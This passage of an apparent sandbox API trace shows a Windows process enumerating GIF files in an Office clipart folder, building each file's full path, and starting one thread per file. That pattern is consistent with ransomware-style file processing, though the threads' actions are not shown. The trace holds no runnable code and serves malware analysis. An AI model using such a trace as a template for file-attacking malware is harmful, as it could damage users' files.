lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0088.163] wcscmp (_String1="AG00004_.GIF", _String2=".") returned 1 [0088.163] wcscmp (_String1="AG00004_.GIF", _String2="..") returned 1 [0088.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c9f0 [0088.164] wcscpy (in: _Dest=0x1b85c9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0088.164] wcscat (in: _Dest=0x1b85c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0088.164] wcscat (in: _Dest=0x1b85c9f0, _Source="AG00004_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" [0090.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0090.882] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0090.882] wcscmp (_String1="AG00011_.GIF", _String2=".") returned 1 [0090.882] wcscmp (_String1="AG00011_.GIF", _String2="..") returned 1 [0090.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bc70 [0090.882] wcscpy (in: _Dest=0x1b85bc70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.882] wcscat (in: _Dest=0x1b85bc70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.882] wcscat (in: _Dest=0x1b85bc70, _Source="AG00011_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" [0090.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60 [0090.883] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0090.883] wcscmp (_String1="AG00021_.GIF", _String2=".") returned 1 [0090.883] wcscmp (_String1="AG00021_.GIF", _String2="..") returned 1 [0090.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bac0 [0090.883] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.883] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.883] wcscat (in: _Dest=0x1b85bac0, _Source="AG00021_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" [0090.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0090.884] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0090.884] wcscmp (_String1="AG00037_.GIF", _String2=".") returned 1 [0090.884] wcscmp (_String1="AG00037_.GIF", _String2="..") returned 1 [0090.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b640 [0090.884] wcscpy (in: _Dest=0x1b85b640, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.884] wcscat (in: _Dest=0x1b85b640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.884] wcscat (in: _Dest=0x1b85b640, _Source="AG00037_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" [0090.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0090.885] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0090.885] wcscmp (_String1="AG00038_.GIF", _String2=".") returned 1 [0090.885] wcscmp (_String1="AG00038_.GIF", _String2="..") returned 1 [0090.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b5b0 [0090.885] wcscpy (in: _Dest=0x1b85b5b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.885] wcscat (in: _Dest=0x1b85b5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.886] wcscat (in: _Dest=0x1b85b5b0, _Source="AG00038_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" [0090.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c [0090.886] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0090.886] wcscmp (_String1="AG00040_.GIF", _String2=".") returned 1 [0090.886] wcscmp (_String1="AG00040_.GIF", _String2="..") returned 1 [0090.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b520 [0090.887] wcscpy (in: _Dest=0x1b85b520, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.887] wcscat (in: _Dest=0x1b85b520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.887] wcscat (in: _Dest=0x1b85b520, _Source="AG00040_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" [0090.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0090.887] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0090.887] wcscmp (_String1="AG00052_.GIF", _String2=".") returned 1 [0090.887] wcscmp (_String1="AG00052_.GIF", _String2="..") returned 1 [0090.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b490 [0090.887] wcscpy (in: _Dest=0x1b85b490, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.887] wcscat (in: _Dest=0x1b85b490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.888] wcscat (in: _Dest=0x1b85b490, _Source="AG00052_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" [0090.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74 [0090.888] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0090.888] wcscmp (_String1="AG00057_.GIF", _String2=".") returned 1 [0090.888] wcscmp (_String1="AG00057_.GIF", _String2="..") returned 1 [0090.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cb10 [0090.888] wcscpy (in: _Dest=0x1b85cb10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.888] wcscat (in: _Dest=0x1b85cb10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.889] wcscat (in: _Dest=0x1b85cb10, _Source="AG00057_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" [0090.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0090.889] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0090.889] wcscmp (_String1="AG00090_.GIF", _String2=".") returned 1 [0090.889] wcscmp (_String1="AG00090_.GIF", _String2="..") returned 1 [0090.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cba0 [0090.890] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.890] wcscat (in: _Dest=0x1b85cba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.890] wcscat (in: _Dest=0x1b85cba0, _Source="AG00090_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" [0090.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c [0090.891] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0090.891] wcscmp (_String1="AG00092_.GIF", _String2=".") returned 1 [0090.891] wcscmp (_String1="AG00092_.GIF", _String2="..") returned 1 [0090.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cc30 [0090.891] wcscpy (in: _Dest=0x1b85cc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.891] wcscat (in: _Dest=0x1b85cc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.891] wcscat (in: _Dest=0x1b85cc30, _Source="AG00092_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" [0090.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80 [0090.892] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0090.892] wcscmp (_String1="AG00103_.GIF", _String2=".") returned 1 [0090.892] wcscmp (_String1="AG00103_.GIF", _String2="..") returned 1 [0090.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ccc0 [0090.892] wcscpy (in: _Dest=0x1b85ccc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.892] wcscat (in: _Dest=0x1b85ccc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.892] wcscat (in: _Dest=0x1b85ccc0, _Source="AG00103_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" [0090.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ccc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84 [0090.893] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0090.893] wcscmp (_String1="AG00120_.GIF", _String2=".") returned 1 [0090.893] wcscmp (_String1="AG00120_.GIF", _String2="..") returned 1 [0090.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cd50 [0090.893] wcscpy (in: _Dest=0x1b85cd50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.893] wcscat (in: _Dest=0x1b85cd50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.893] wcscat (in: _Dest=0x1b85cd50, _Source="AG00120_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" [0090.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88 [0090.894] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0090.894] wcscmp (_String1="AG00126_.GIF", _String2=".") returned 1 [0090.894] wcscmp (_String1="AG00126_.GIF", _String2="..") returned 1 [0090.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cde0 [0090.894] wcscpy (in: _Dest=0x1b85cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.894] wcscat (in: _Dest=0x1b85cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.894] wcscat (in: _Dest=0x1b85cde0, _Source="AG00126_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" [0090.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c [0090.895] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0090.895] wcscmp (_String1="AG00129_.GIF", _String2=".") returned 1 [0090.895] wcscmp (_String1="AG00129_.GIF", _String2="..") returned 1 [0090.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ce70 [0090.895] wcscpy (in: _Dest=0x1b85ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.895] wcscat (in: _Dest=0x1b85ce70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.895] wcscat (in: _Dest=0x1b85ce70, _Source="AG00129_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" [0090.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90 [0090.896] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0090.896] wcscmp (_String1="AG00130_.GIF", _String2=".") returned 1 [0090.896] wcscmp (_String1="AG00130_.GIF", _String2="..") returned 1 [0090.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cf00 [0090.896] wcscpy (in: _Dest=0x1b85cf00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.896] wcscat (in: _Dest=0x1b85cf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.896] wcscat (in: _Dest=0x1b85cf00, _Source="AG00130_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" [0090.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94 [0090.897] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0090.897] wcscmp (_String1="AG00135_.GIF", _String2=".") returned 1 [0090.897] wcscmp (_String1="AG00135_.GIF", _String2="..") returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cf90 [0090.898] wcscpy (in: _Dest=0x1b85cf90, 